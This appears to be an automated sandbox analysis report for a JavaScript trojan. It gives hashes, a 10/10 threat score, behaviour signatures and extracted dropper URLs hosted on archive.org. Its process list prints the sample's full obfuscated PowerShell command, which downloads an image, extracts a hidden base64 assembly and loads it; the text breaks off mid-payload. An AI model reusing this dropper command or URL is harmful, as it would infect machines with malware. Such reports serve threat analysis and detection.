Resubmissions
19/10/2024, 12:42
241019-pxgp7swerd 1019/10/2024, 11:58
241019-n5afesvcng 1007/09/2024, 15:15
240907-smxkfssard 10Analysis
-
max time kernel
150s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
07/09/2024, 15:15
General
-
Target
trojan.js
-
Size
696KB
-
MD5
3a8a45c09bc9d179c0ca1ef524219a1b
-
SHA1
6ded36c5eb808b6228421582d5daba2698a6a825
-
SHA256
3dbdf814a1a1b3eebd9a5a2336fb1aeb32ed43f6cac1f025b9fcd97bdb2910cb
-
SHA512
37309a6c9b265f28a21bbadce77062b7cbdc5fc058913c8a1552559175a6b53e4bfaae058c8b05537b93ef153aca5788cdcb1ad5939827e2d48ccf16659b4e07
-
SSDEEP
12288:T7OihEjf9elZYpYgUsvYcfiD7TqTs5AP/R44lvUK3s9dsyMVRN87ldwKkZNyK/JF:T0aLfsgB2/sxUJr
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
exe.dropper
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
Signatures
-
Blocklisted process makes network request 14 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Run Powershell and hide display window.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 15 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\trojan.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ 